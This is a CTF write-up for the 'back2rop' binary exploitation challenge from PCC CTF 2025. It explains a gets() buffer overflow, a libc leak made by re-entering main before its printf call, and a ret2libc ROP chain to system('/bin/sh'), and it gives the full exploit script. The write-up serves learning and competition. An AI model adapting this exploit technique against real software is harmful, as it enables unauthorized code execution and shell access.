- Published on
PCC '25 - PWN - Back2ROP
- Authors

- Name
- Muhammad Haris
- @ArcusTen
Three binary exploitation challenges were given in the final round of PCC CTF 2025:
arcus@VALHALLA ~/CTFs/PCC-25/FINALS/pwn$ ls
Valorant back2rop todos
This writeup is about the first challenge named back2rop because I only managed to solve that one :( The other two challenges were pretty hard and I wasn't able to solve them within the time limit.
Solution
Files provided:
arcus@VALHALLA ~/CTFs/PCC-25/FINALS/pwn/back2rop$ ls
Dockerfile.dist back2rop docker-compose.yml flag.txt pwn-back2rop.tar
Binary has following protections:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Disassembly of the binary:
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
printf("You know what; here you go: %p\n", vuln);
vuln();
return 0;
}
In main function, it sets the buffering mode for stdin and _bss_start to line buffering, which is a common technique to make input/output more predictable in CTF challenges. It then prints the address of the vuln function and calls it. Disassembly of vuln function:
int vuln()
{
_BYTE v1[256]; // [rsp+0h] [rbp-100h] BYREF
printf("Do you want doom? (y/n): ");
if ( getchar() == 121 )
{
puts("You asked for it!");
printf("let's go: ");
gets(v1);
}
return puts("Didn't think you'd be this afraid, lol");
}
In vuln function, it prompts the user with "Do you want doom? (y/n): " and waits for input. If the user inputs 'y', it prints "You asked for it!" and then prompts "let's go: ". It then uses gets to read input into a local buffer v1 of size 256 bytes. This is a classic buffer overflow vulnerability since gets does not perform bounds checking on the input. Lets validating the crash via sending cyclic pattern of 300 bytes. Payload so far:
#!/usr/bin/env python3
from flashlib import *
gdbscript = """
b *vuln+117
"""
init("./back2rop-patched")
attach(gdbscript)
elf.address = hexleak(io.recvafter(b"You know what; here you go: ")) - 0x11c9
logleak(elf.address)
io.sendafter(b"(y/n): ", b"y")
io.sendlineafter(b"let's go: ", cyclic(300))
io.interactive()
Crash:

0x6261616161616169 shows that rip control is achieved at offset 264. So far it seems like a simple buffer overflow, but the challenge is there is no POP_RDI gadget in the binary that we can use to leak libc address like we do in most of ret2libc challenges. So we need to find another way to leak libc address.
After studying execution state of the binary, I found that when the code execution exists vuln function, it sets up a libc leak in rsi register.

Now, if i show you main function disassembly , where it is leaking the address of vuln function:
pwndbg> disassemble main
Dump of assembler code for function main:
0x000056ec22b8823f <+0>: endbr64
0x000056ec22b88243 <+4>: push rbp
0x000056ec22b88244 <+5>: mov rbp,rsp
0x000056ec22b88247 <+8>: sub rsp,0x20
0x000056ec22b8824b <+12>: mov DWORD PTR [rbp-0x4],edi
0x000056ec22b8824e <+15>: mov QWORD PTR [rbp-0x10],rsi
0x000056ec22b88252 <+19>: mov QWORD PTR [rbp-0x18],rdx
0x000056ec22b88256 <+23>: mov rax,QWORD PTR [rip+0x2dc3] # 0x56ec22b8b020 <stdin@GLIBC_2.2.5>
0x000056ec22b8825d <+30>: mov ecx,0x0
0x000056ec22b88262 <+35>: mov edx,0x2
0x000056ec22b88267 <+40>: mov esi,0x0
0x000056ec22b8826c <+45>: mov rdi,rax
0x000056ec22b8826f <+48>: call 0x56ec22b880d0 <setvbuf@plt>
0x000056ec22b88274 <+53>: mov rax,QWORD PTR [rip+0x2d95] # 0x56ec22b8b010 <stdout@GLIBC_2.2.5>
0x000056ec22b8827b <+60>: mov ecx,0x0
0x000056ec22b88280 <+65>: mov edx,0x2
0x000056ec22b88285 <+70>: mov esi,0x0
0x000056ec22b8828a <+75>: mov rdi,rax
0x000056ec22b8828d <+78>: call 0x56ec22b880d0 <setvbuf@plt>
0x000056ec22b88292 <+83>: lea rax,[rip+0xffffffffffffff30] # 0x56ec22b881c9 <vuln>
0x000056ec22b88299 <+90>: mov rsi,rax
0x000056ec22b8829c <+93>: lea rax,[rip+0xdc5] # 0x56ec22b89068
0x000056ec22b882a3 <+100>: mov rdi,rax
0x000056ec22b882a6 <+103>: mov eax,0x0
0x000056ec22b882ab <+108>: call 0x56ec22b880a0 <printf@plt>
0x000056ec22b882b0 <+113>: mov eax,0x0
0x000056ec22b882b5 <+118>: call 0x56ec22b881c9 <vuln>
0x000056ec22b882ba <+123>: mov eax,0x0
0x000056ec22b882bf <+128>: leave
0x000056ec22b882c0 <+129>: ret
You can see that if I jump to <main+93>, I can force printf() call at <main+108> to leak libc address, more specifically _IO_2_1_stdout_+131 without breaking the execution flow of the program. So I can use this primitive to leak libc address. Lets do it:

After that, just ROP and ROLL. Full exploit:
#!/usr/bin/env python3
from flashlib import *
gdbscript = """
# b*main+93
b *vuln+117
"""
init("./back2rop-patched")
attach(gdbscript)
elf.address = hexleak(io.recvafter(b"You know what; here you go: ")) - 0x11c9
logleak(elf.address)
io.sendafter(b"(y/n): ", b"y")
TO_RET = elf.address + 0x129c # <main+93>
payload = flat(
cyclic(256),
elf.bss()+0x800, # storing a writable address at rbp to avoid segfault when the function returns
TO_RET,
)
io.sendlineafter(b"go: ", payload)
libc.address = hexleak(io.recvafter(b"You know what; here you go: ")) - 0x211643
logleak(libc.address)
io.sendafter(b"(y/n): ", b"y")
POP_RDI = libc.address + 0x0000000000119fdc
BIN_SH = libc.address + 0x1d84ab
payload = flat(
cyclic(256),
elf.address+0x400,
POP_RDI, BIN_SH,
POP_RDI+1, libc.sym.system
)
io.sendlineafter(b"let's go: ", payload)
io.interactive()
Shell:
